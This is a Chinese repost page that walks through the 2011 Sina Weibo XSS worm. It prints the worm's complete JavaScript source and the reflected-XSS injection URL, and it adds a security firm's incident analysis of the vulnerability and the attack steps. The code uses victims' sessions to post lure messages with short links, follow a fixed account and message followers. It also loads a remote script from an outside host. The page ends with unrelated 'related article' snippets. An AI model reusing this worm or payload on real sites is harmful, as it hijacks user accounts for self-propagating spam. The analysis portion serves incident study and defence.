新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。
========================================

微博XSS漏洞点
weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.****.com/images/t.js%3e%3c/script%3e?type=update


微博XSS脚本内容(XSS源码)
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id.toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); "发送微博"
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true); "加关注"
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; "给粉丝发私信"
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

 

 

Nevel安全专家:新浪微博”中毒”分析报告

 

事件的经过


  新浪微博6月28日晚出现大范围”中毒”现象,大量用户自动发送”建党大业中穿帮的地方”,“个税起征点有望提到4000”,“郭美美事件的一些未注意到的细节”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。

   此前利用XSS漏洞传播蠕虫的案列在社交网站中曾多次发生,Facebook,Twitter,以及QQ空间,百度空间等都出现过类似的情况。此次新浪 微博”中毒”,立刻引起了Nevel公司安全团队的重视。新浪官方早在第一时间就检测到该病毒,并对漏洞进行了修补,病毒的存活时间不到半个小时,其实 XSS中毒现象也并不像传统意义上的中毒,仅仅存活在服务器上,它基本不会对用户电脑造成很大威胁,但会利用用户在新浪微博上的会话权限进行微博发布、关 注等操作,同时该漏洞也无法获取到用户的密码信息,用户不需要有太多的担忧。

  分析报告:

  下面我们来一起分析下该漏洞的成因:从PAYLOAD上来看,实际上属于一个反射弧性的XSS攻击,

  http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

  URlDecode:

  http://weibo.com/pub/star/g/xyyyd"> ?type=update

   攻击者利用微博广播广场页面http://weibo.com/pub/star的一个URL注入了js脚本,那么这个脚本攻击者是怎么注入进去的(新 浪漏洞已修补),我们其实可以根据现象去分析,对于蠕虫攻击,受攻击者的页面应该也都会发布带有攻击性的JS内容,我们可以发现所有被攻击的用户微博上都 会发布一条短连接信息,因此我们可以初步断定问题发生在短连接处,笔者利用自己的微博,尝试发布一条带有短连接形式的微博,直接发布一条含有URL的微 博,如下图:

发布完成后我们查看下网页源代码,如下图:

很显然真实的地址会被写入到action-data的属性中去,因此不难想象漏洞产生原因,由于action-data的值没有进行合适的过滤,导致攻击者可以输入畸形的数据插入JS脚本,闭合前面的双引号和尖括号,从而造成XSS攻击。

  构造Xss_Exploit如下:

  http://weibo.com/pub/star/g/xyyyd"> ?type=update

  注:

  //www.2kt.cn/images/t.js是一种合法的协议写法,与http://www.2kt.cn/images/t.js效果一样。

  完整模拟攻击者的攻击手段:

  1 首先将攻击脚本存放在www.2kt.cn服务器上

  2 建立恶意用户,利用构造的XSS_Exploit发布微博消息

  3 通过发布吸引力强的热门的话题让有影响力的人访问,中招者自动发微博并进行传播

  在攻击过程中,攻击者多次利用短连接将真实的URL进行转换,让一般用户不易发现,以便更好地延长蠕虫的存活时间,短连接在提供简短易记的同时,也带来了一些新的安全问题,攻击者可以利用这些短连接隐藏实际攻击URL来进行攻击.

转载于:https://www.cnblogs.com/milantgh/p/3655023.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460454.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector&#xff0c;它们是可变大小的列表&#xff0c;比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因&#xff0c;由于工作的原因&#xff0c;想换一份工作&#xff0c;对于毕业已经快6年了&#xff0c;再次重新学习就需要付出很大的勇气和努力&#xff0c;如果态度还不能及时调整&#xff0c;最近找工作遇到的窘境就不言而喻了。去年底报了一个…

matlab打开笔记本摄像头_如何解决笔记本电脑摄像头异常问题

如果您遇到笔记本电脑相机异常问题(无法侦测视讯装置、视讯无画面、视讯画面异常、视讯画面颠倒等等)&#xff0c;请参考以下疑难解答方式依序尝试。提供应用程序权限 / 检查防病毒软件/ 更新Windows Update / 更新相机驱动程序/透过系统还原点还原系统/ 系统还原1. 提供应用程…

边框颜色为 tintColor 的 UIButton

创建一个 UIButton 的子类&#xff0c;重写其方法&#xff1a; - (void)drawRect:(CGRect)rect {[[self layer] setCornerRadius:CORNER_RADIUS];[[self layer] setMasksToBounds:YES]; [[self layer] setBorderWidth:1];[[self layer] setBorderColor:self.tintColor.CGColo…

netty SimpleChannelInboundHandler类继承使用

2019独角兽企业重金招聘Python工程师标准>>> 继承一个SimpleChannelInboundHandler来实现我们的Client&#xff0c;我们需要重写其中的三个方法&#xff1a; package NettyDemo.echo.handler;import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; …

高中关于人工智能方面的课题_如何看待计算机专业开始设置人工智能课程

首先&#xff0c;当前计算机专业当中设置与人工智能相关的课程是一个必然的趋势&#xff0c;随着人工智能技术开始逐渐实现落地应用&#xff0c;未来计算机相关专业的课程当中&#xff0c;人工智能课程的比重也会逐渐提升&#xff0c;而且一定要重视这些课程&#xff0c;这对于…

Linux命令-目录处理命令:mkdir

mkdir /tmp/beijing mkdir -p /tmp/shijiazhuang/yuhuaqu 一条命令可以同时创建父目录和子目录 mkdir /tmp/beijing/chaoyangqu /tmp/beijing/dongchengqu /tmp/beijing/tongzhouqu 同时创建多个目录

tableau 倒序都倒了_Tableau优秀作品拆解复刻01-是时候终结瘘管病了

写在最前面&#xff1a;这个复刻系列是学习tableau官网库中的优秀作品。学习他们亮眼图表的制作细节&#xff0c;仪表板的排版&#xff0c;颜色的搭配以及交互。tableau库的链接&#xff1a;优秀作品都在这里展示。库​public.tableau.com1 整体布局 颜色&#xff1a; 采用橙色…

目前最细致清晰的NSDictionary以及NSMutableDictionary用法总结(转)

做过Java语言 或者 C语言 开发的朋友应该很清楚 关键字map 吧&#xff0c;它可以将数据以键值对儿的形式储存起来&#xff0c;取值的时候通过KEY就可以直接拿到对应的值&#xff0c;非常方便。在Objective-C语言中 词典对象就是做这个事情的&#xff0c;不过在同一个词典对象中…

android string数组转json_移动端开发基础【20】pages.json的配置项pages

uni-app项目是通过pages节点配置应用由哪些页面组成&#xff0c;pages节点接收一个数组&#xff0c;数组每个项都是一个对象&#xff0c;其属性值如下&#xff1a;(1) 属性&#xff1a;path类型&#xff1a;String描述&#xff1a;配置页面路径(2) 属性&#xff1a;style类型&a…

Ubuntu Server 分区案例

为什么80%的码农都做不了架构师&#xff1f;>>> 只有一台服务器&#xff0c;配置硬盘1TB&#xff0c;内存4GB&#xff0c;既要做开发服务器&#xff0c;又要做Web服务器和数据库服务器&#xff0c;分区如下&#xff1a; 挂载点大小分区格式 /boot512MBext4/20GBext…

360网络修复工具_为什么大家都在骂360,但是360依旧是很强?

相信很多小伙伴也多多少少的听说过就是不要随便装360&#xff0c;因为装上360会如何如何。这些人往往说起来也是很有道理&#xff0c;我在以前上学的时候也是这么觉得&#xff0c;但是后来工作之后发现并不是这样。360先说一下360安全卫士的功能&#xff0c;有系统优化、垃圾清…

Java运行时内存

对于java程序员来说&#xff0c;并不必显示地对内存进行管理&#xff0c;一切都交给java虚拟机去做吧&#xff0c;而且&#xff0c;你也不一定做得比java虚拟机来得专业。好像所有内存管理都交给虚拟机去做就万事大吉了&#xff0c;但是&#xff0c;事实有时并非如此&#xff0…

中班机器人上课视频_家委会:出班费买智能扫地机器人,不用家长搞卫生了,莫名其妙...

【01】原来大家上学&#xff0c;几乎是很随意的样子&#xff0c;有人至没上过幼儿园&#xff0c;有的上过半年&#xff0c;然后就直接升小学。可即使是升小学了&#xff0c;家长也不会管&#xff0c;全凭自己了。可如今随着社会的发展&#xff0c;父母们都非常重视孩子们的学习…

Powerful Sleep(神奇的睡眠-睡眠生物钟的秘密:如何睡得更少却睡得更好)阅读笔记...

睡眠机制 我们活着的时候&#xff0c;大脑会产生脑电波。脑电图仪器通过贴在人头上的一些电极读出脑电波的活动&#xff0c;然后把活动用图表显示出来。 睡眠过程可以分为5个过程&#xff0c;划分依据与大脑发出的脑电波类型。 当人清醒时&#xff0c;大脑发出β脑电波&#xf…

ue4集合类型_UE4粒子系统渲染管线概述

本文基于UE4版本4.25.3&#xff0c;对Cascade粒子系统的移动端渲染管线进行简单的概括和描述。Game Thread部分粒子系统Actor被Spawn&#xff08;或所在的Level被加载&#xff09;的时候&#xff0c;UParticleSystemComponent注册和初始化&#xff0c;并通过CreateSceneProxy函…

2、Sprite,SpriteBatch,Texture,TextureRegion的初步认识

昨天搭建了环境&#xff0c;今天就初步接触这个4个控件&#xff08;Sprite&#xff0c;SpriteBatch&#xff0c;Texture&#xff0c;TextureRegion&#xff09; 1、SpriteBatch 这个吗&#xff0c;我没有看api文档&#xff0c;偶是直接看土豆的博客学习的&#xff0c;我看了代码…